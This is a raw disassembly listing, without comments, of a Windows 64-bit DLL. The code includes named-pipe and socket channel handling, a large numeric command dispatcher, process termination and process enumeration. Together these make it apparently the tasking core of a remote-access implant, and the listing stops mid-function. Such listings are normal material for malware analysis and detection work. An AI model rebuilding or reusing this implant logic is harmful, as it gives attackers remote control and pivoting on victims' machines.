mov edx, 0x8000
call fcn.18000cf40
jmp 0x180012c09
mov r9d, dword [rbx + 0x3c]
mov r8d, dword [rbx]
lea rax, [rbx + 0x44]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.18000cfa0
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x180012be9
call fcn.180014238
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.18000d000
mov r8d, 0x14
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.18000cf1c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
lea r9, [0x18003e4e0]
xor edx, edx
mov rcx, r9
cmp dword [rcx + 0x48], 1
jne 0x1800131b7
cmp dword [rcx], eax
je 0x1800131cb
lea r8, [0x18003f3e0]
add rcx, 0x60
inc edx
cmp rcx, r8
jge 0x1800131e8
jmp 0x1800131ad
movsxd rax, edx
mov r8d, 0xa
lea rcx, [rax + rax*2]
shl rcx, 5
mov edx, dword [rcx + r9 + 0x58]
mov rcx, qword [rcx + r9 + 0x50]
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x18003e4d0], 0
mov rdi, r8
mov r15d, edx
mov r14, rcx
jne 0x180013230
mov ecx, 0x100000
call fcn.180019378
mov qword [0x18003e4d0], rax
mov r13d, dword [r14]
sub r15d, 4
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_ntohl]
xor ebp, ebp
lea rbx, [0x18003e500]
mov esi, eax
lea rdx, [0x18003e4e0]
cmp dword [rbx - 0x20], esi
jne 0x180013303
cmp dword [rbx + 0x28], 1
jne 0x180013303
lea r12, [rdx + 8]
movsxd rax, ebp
lea rdx, [r14 + 4]
lea rcx, [rax + rax*2]
shl rcx, 5
add r12, rcx
mov rcx, r12
test r15d, r15d
jle 0x180013288
mov r8d, r15d
jmp 0x180013293
mov byte [r14 + 4], 0
mov r8d, 1
call qword [rbx]
test eax, eax
je 0x180013313
mov rax, qword [0x18003e4d0]
mov edx, 0x493e0
mov rcx, r12
mov dword [rax], r13d
call qword [rbx + 0x18]
test eax, eax
je 0x1800132cb
mov rdx, qword [0x18003e4d0]
mov r8d, 0xffffc
mov rcx, r12
add rdx, 4
call qword [rbx - 8]
jmp 0x1800132ce
or eax, 0xffffffff
cmp eax, 1
jle 0x1800132e7
lea edx, [rax + 4]
mov rcx, qword [0x18003e4d0]
mov r8d, 0xc
call rdi
jmp 0x1800132fc
test eax, eax
jne 0x1800132f0
lea edx, [rax + 4]
jmp 0x1800132d6
jns 0x1800132fc
mov rdx, rdi
mov ecx, esi
call fcn.1800135cc
lea rdx, [0x18003e4e0]
inc ebp
add rbx, 0x60
cmp ebp, 0x28
jge 0x18001331d
jmp 0x180013252
mov rdx, rdi
mov ecx, esi
call fcn.1800135cc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
jmp fcn.1800135cc
mov rdx, r8
jmp 0x180013768
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov r14, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x3a98]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jae 0x180013805
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18001383e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x1800137ee
mov edx, 0x2710
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x1800137f9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x18001379e
jmp 0x180013809
mov rbx, qword [rbp + 0x77]
cmp rbx, 0xffffffffffffffff
jne 0x18001383e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x79
jne 0x180013827
lea ecx, [rbx + 5]
call fcn.18000d4a0
jmp 0x1800138e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x14
mov edx, eax
call fcn.18000d3d4
jmp 0x1800138e5
lea rdx, [rbp + 0x77]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
mov dword [rbp + 0x77], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x180013870
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x14
mov edx, eax
call fcn.18000d3d4
jmp 0x1800138d3
lea rcx, [rbp + 7]
mov rdx, rbx
call fcn.1800136d4
mov r8, r14
mov rcx, qword [rax]
mov rdx, rax
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 9], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 0x11], rcx
lea rcx, [rbp - 0x39]
mov edx, 0x1bd
mov qword [rbp - 1], rax
call fcn.1800133cc
test eax, eax
jne 0x1800138e5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov r14, r8
mov ebx, edx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 9]
mov r8d, ebx
mov rdx, rdi
lea esi, [rax + 0x3a98]
call fcn.1800141f4
lea rcx, [rbp - 9]
call fcn.180014264
lea rcx, [rbp - 9]
movzx ebx, ax
call fcn.180014190
mov rdi, rax
call fcn.18000dd60
jmp 0x180013ac4
mov edx, ebx
mov rcx, rdi
call fcn.18000edb8
cmp rax, 0xffffffffffffffff
jne 0x180013afd
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, esi
jb 0x180013aa9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x44
mov edx, eax
call fcn.18000d3d4
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp + 0xf]
mov rdx, rax
call fcn.180013c1c
bts ebx, 0x14
mov rcx, qword [rax]
mov r8, rax
mov edx, ebx
mov qword [rbp - 0x49], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x41], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x21], rcx
lea rcx, [rbp - 0x49]
mov r8, r14
mov qword [rbp - 0x11], rax
call fcn.1800133cc
jmp 0x180013ae0
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x18003f3e0]
call qword [sym.imp.WS2_32.dll_ntohl]
jmp 0x1800144bb
cmp dword [rbx + 4], 0
je 0x1800144b7
cmp eax, dword [rbx]
jne 0x1800144b7
cmp dword [rbx + 0x10], 2
je 0x1800144b7
and dword [rbx + 4], 0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800144a3
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 4
mov rsi, r8
mov ebx, edx
mov dword [rsp + 0x24], 1
mov dword [rsp + 0x20], ecx
add rdi, r12
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi]
lea r13d, [r12 - 2]
sub ebx, 6
mov r14d, eax
add rdi, r13
call qword [sym.imp.WS2_32.dll_ntohs]
movzx r15d, ax
mov eax, 0x3ff
lea rcx, [rsp + 0x40]
cmp ebx, eax
mov rdx, rdi
cmovge ebx, eax
movsxd rbx, ebx
mov r8, rbx
call fcn.180019c80
cmp rbx, 0x400
jae 0x18001465f
mov byte [rsp + rbx + 0x40], 0
call fcn.18000dd60
lea edx, [r12 - 3]
xor r8d, r8d
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x1800145c9
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov edx, r12d
call rsi
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x1800145de
mov rcx, rbx
jmp 0x18001458c
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x2c]
mov rdx, qword [rdx]
call fcn.180019c80
movzx ecx, r15w
mov word [rsp + 0x28], r13w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x18001458c
lea rdx, [rsp + 0x28]
mov r8d, 0x10
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x180014649
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1800145d9
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.18001446c
jmp 0x18001459f
call fcn.18001a34c
int3
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x28]
mov rdi, r8
call fcn.180014204
lea rcx, [rsp + 0x30]
mov ebp, eax
call fcn.180014264
mov edx, 1
movzx ebx, ax
mov ecx, ebx
call fcn.1800148ac
cmp rax, 0xffffffffffffffff
jne 0x1800146b9
lea edx, [rax + 5]
mov rcx, rsi
mov r8d, edx
call rdi
jmp 0x1800146db
mov r9d, 1
mov r8d, 0x2bf20
mov edx, ebp
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.1800143cc
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003f3e0]
mov rdi, rcx
mov ecx, dword [rcx]
mov esi, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
jmp 0x18001473a
cmp dword [rbx + 4], 1
jne 0x180014736
cmp ebp, dword [rbx]
jne 0x180014736
lea r8d, [rsi - 4]
lea rdx, [rdi + 4]
mov rcx, rbx
call fcn.180014f14
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001471c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800141f4
lea rcx, [rsp + 0x30]
call fcn.180014264
mov edx, 0xa
movzx ebx, ax
mov ecx, ebx
call fcn.1800148ac
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800147b3
call fcn.18001498c
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.1800143cc
jmp 0x1800147bf
mov edx, ebx
mov ecx, 0x15
call fcn.18000d3d4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x18003f3e0]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014264
xor edx, edx
movzx ecx, ax
jmp 0x180014822
cmp dword [rbx + 4], edx
je 0x18001481e
cmp dword [rbx + 0x10], 2
jne 0x18001480d
movzx eax, cx
cmp dword [rbx + 0x14], eax
je 0x18001481b
cmp dword [rbx + 0x10], 3
jne 0x18001481e
movzx eax, cx
cmp dword [rbx + 0x14], eax
jne 0x18001481e
mov dword [rbx + 4], edx
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800147fa
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800141f4
lea rcx, [rsp + 0x30]
call fcn.180014264
mov edx, 0xa
movzx ebx, ax
mov ecx, ebx
call fcn.1800148ac
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180014892
call fcn.18001498c
mov r9d, 3
xor r8d, r8d
mov rcx, rdi
mov edx, eax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.1800143cc
jmp 0x18001489e
mov edx, ebx
mov ecx, 0x15
call fcn.18000d3d4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x48
cmp qword [0x18003f3f8], 0
je 0x180015071
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014264
mov rdx, qword [0x18003f3f8]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x18001505f
movzx ecx, ax
call fcn.1800190d4
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x18003f3f8]
movsxd rbx, edx
test rcx, rcx
je 0x180015099
call fcn.180019338
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.180019378
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov qword [0x18003f3f8], rax
call fcn.180019c80
mov rax, qword [0x18003f3f8]
mov byte [rbx + rax], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014204
xor ecx, ecx
test eax, eax
setne cl
mov dword [0x18003f400], ecx
add rsp, 0x48
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014204
mov dword [0x18003f404], eax
test eax, eax
je 0x18001550d
mov ecx, eax
call fcn.18001553c
test eax, eax
jne 0x18001550d
mov edx, dword [0x18003f404]
lea ecx, [rax + 0xf]
call fcn.18000d3d4
add rsp, 0x48
ret
sub rsp, 0x28
mov eax, r8d
mov r10, rdx
cmp ecx, 0x36
ja 0x18001660a
je 0x1800165fc
cmp ecx, 0x1d
ja 0x180016437
je 0x180016429
cmp ecx, 0xf
ja 0x180016359
je 0x18001634b
cmp ecx, 0xa
ja 0x1800162ea
je 0x1800162d5
dec ecx
je 0x1800162be
sub ecx, 2
je 0x1800162ae
dec ecx
je 0x1800162a0
dec ecx
je 0x180016292
cmp ecx, 4
jne 0x180016949
lea r8d, [rcx - 3]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180010d80
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000de84
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e6e8
lea rcx, [fcn.18000cd58]
add rsp, 0x28
jmp fcn.18000dee4
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180010c84
lea r8, [0x18002c940]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000eb60
sub ecx, 0xb
je 0x180016336
dec ecx
je 0x180016328
dec ecx
je 0x180016314
dec ecx
jne 0x180016949
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800144c8
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800182a4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e058
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fd34
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800146f0
sub ecx, 0x10
je 0x18001641b
dec ecx
je 0x180016406
dec ecx
je 0x1800163fb
dec ecx
je 0x1800163ed
sub ecx, 3
je 0x1800163d8
dec ecx
je 0x1800163c3
dec ecx
je 0x1800163ae
sub ecx, 3
je 0x180016399
dec ecx
jne 0x180016949
add rsp, 0x28
jmp fcn.180018a7c
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800188b0
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013190
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001333c
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800131f0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ff20
mov r8d, 1
jmp 0x180016938
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014668
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001448c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e98c
cmp ecx, 0x2c
ja 0x180016530
je 0x180016522
cmp ecx, 0x27
ja 0x1800164d6
je 0x1800164c6
sub ecx, 0x1f
je 0x1800164b1
dec ecx
je 0x18001649c
dec ecx
je 0x18001648e
sub ecx, 4
je 0x180016480
dec ecx
jne 0x180016949
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e4a0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015078
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800169e0
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016a64
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018ac8
lea rcx, [fcn.18000cd58]
add rsp, 0x28
jmp 0x18000e42c
sub ecx, 0x28
je 0x180016511
dec ecx
je 0x180016501
dec ecx
je 0x1800164f3
dec ecx
jne 0x180016949
xor r8d, r8d
jmp 0x180016284
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012a24
lea rcx, [fcn.18000cd58]
add rsp, 0x28
jmp 0x180012bc4
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012a74
mov r9d, 1
xor r8d, r8d
jmp 0x1800162c7
sub ecx, 0x2d
je 0x1800165e1
dec ecx
je 0x1800165dc
dec ecx
je 0x1800165ce
dec ecx
je 0x1800165b9
dec ecx
je 0x1800165a4
dec ecx
je 0x180016596
dec ecx
je 0x180016588
dec ecx
je 0x18001657a
dec ecx
jne 0x180016949
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800102d0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e72c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800147cc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014754
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018998
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001267c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e158
xor r9d, r9d
jmp 0x1800165e7
mov r9d, 1
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010e6c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001054c
cmp ecx, 0x4f
ja 0x1800167ce
je 0x1800167c0
cmp ecx, 0x45
ja 0x180016704
je 0x1800166fc
cmp ecx, 0x3c
ja 0x1800166aa
je 0x18001669c
sub ecx, 0x37
je 0x180016687
dec ecx
je 0x180016679
dec ecx
je 0x18001666b
dec ecx
je 0x180016656
dec ecx
jne 0x180016949
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018ffc
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e184
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e818
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800101dc
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001023c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ef50
sub ecx, 0x3d
je 0x1800166ec
dec ecx
je 0x1800166e1
sub ecx, 5
je 0x1800166d5
dec ecx
jne 0x180016949
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013654
lea r8, [0x18002c944]
jmp 0x1800162dc
mov r8d, 1
jmp 0x180016514
lea rcx, [fcn.18000cd58]
add rsp, 0x28
jmp 0x18000ee7c
xor r8d, r8d
jmp 0x18001631a
sub ecx, 0x46
je 0x1800167a9
dec ecx
je 0x18001679e
dec ecx
je 0x180016790
dec ecx
je 0x180016782
dec ecx
je 0x180016774
dec ecx
je 0x180016766
dec ecx
je 0x180016758
dec ecx
je 0x180016743
dec ecx
jne 0x180016949
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000defc
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f020
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e5cc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800154cc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001058c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010110
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e6e0
mov r9d, 1
xor r8d, r8d
jmp 0x1800167b2
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010f5c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001502c
cmp ecx, 0x5a
ja 0x1800168ac
je 0x1800168a4
cmp ecx, 0x55
ja 0x18001685a
je 0x18001684a
sub ecx, 0x50
je 0x18001683c
dec ecx
je 0x180016827
dec ecx
je 0x180016819
dec ecx
je 0x18001680b
dec ecx
jne 0x180016949
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c900
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c784
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014830
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017848
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800109b4
lea rcx, [fcn.18000cd58]
add rsp, 0x28
jmp 0x18000c87c
sub ecx, 0x56
je 0x18001688f
dec ecx
je 0x180016883
dec ecx
je 0x18001687b
dec ecx
jne 0x180016949
xor r9d, r9d
lea r8d, [rcx + 1]
jmp 0x1800162c7
xor r9d, r9d
jmp 0x1800167a4
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x1800167b2
lea r8, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013a48
xor r9d, r9d
jmp 0x180016528
sub ecx, 0x5b
je 0x180016935
dec ecx
je 0x180016927
dec ecx
je 0x180016913
dec ecx
je 0x18001690e
dec ecx
je 0x180016900
dec ecx
je 0x1800168f2
dec ecx
je 0x1800168ee
dec ecx
je 0x1800168da
dec ecx
jne 0x180016949
xor r8d, r8d
jmp 0x1800168e0
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011344
xor ecx, ecx
jmp 0x1800168f7
mov ecx, 1
add rsp, 0x28
jmp 0x180010b40
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800123e8
xor r8d, r8d
jmp 0x180016919
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800111f4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800153e4
xor r8d, r8d
lea r9, [fcn.18000cd58]
mov edx, eax
mov rcx, r10
call fcn.180010ee0
add rsp, 0x28
ret
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov rdx, rcx
lea rcx, [r11 - 0x28]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014204
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
mov edi, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180016a3b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180016a50
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.18000d3e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x8c0]
sub rsp, 0x9c0
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
mov rbx, rcx
mov r15, r8
mov edi, edx
lea rcx, [rbp + 0xb1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rbp + 0xb0], 0
call fcn.180019620
lea rcx, [rsp + 0x60]
mov r8d, edi
mov rdx, rbx
call fcn.1800141f4
lea rcx, [rsp + 0x60]
call fcn.180014204
lea rcx, [rsp + 0x48]
mov edx, 0x8000
mov r14d, eax
call fcn.18000cf40
test r14d, r14d
jle 0x180016af1
lea rcx, [rsp + 0x48]
mov edx, r14d
call fcn.18000cf70
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.18000f2e8
test eax, eax
je 0x180016b0c
lea rdi, [0x18002c948]
jmp 0x180016b25
call fcn.18000f330
lea rcx, [0x18002c948]
lea rdi, [0x18002c94c]
test eax, eax
cmovne rdi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180016c99
lea rdx, [rbp - 0x80]
mov rcx, rax
mov dword [rbp - 0x80], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x180016b61
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180016c99
call fcn.180013fa0
mov r8d, dword [rbp - 0x78]
neg eax
sbb ecx, ecx
xor edx, edx
and ecx, 0xc00
add ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x180016baf
mov ecx, dword [rbp - 0x78]
mov r9d, dword [rbp - 0x60]
lea r8, [rbp - 0x54]
mov dword [rsp + 0x20], ecx
lea rdx, str._s_t_d_t_d_n
lea rcx, [rsp + 0x48]
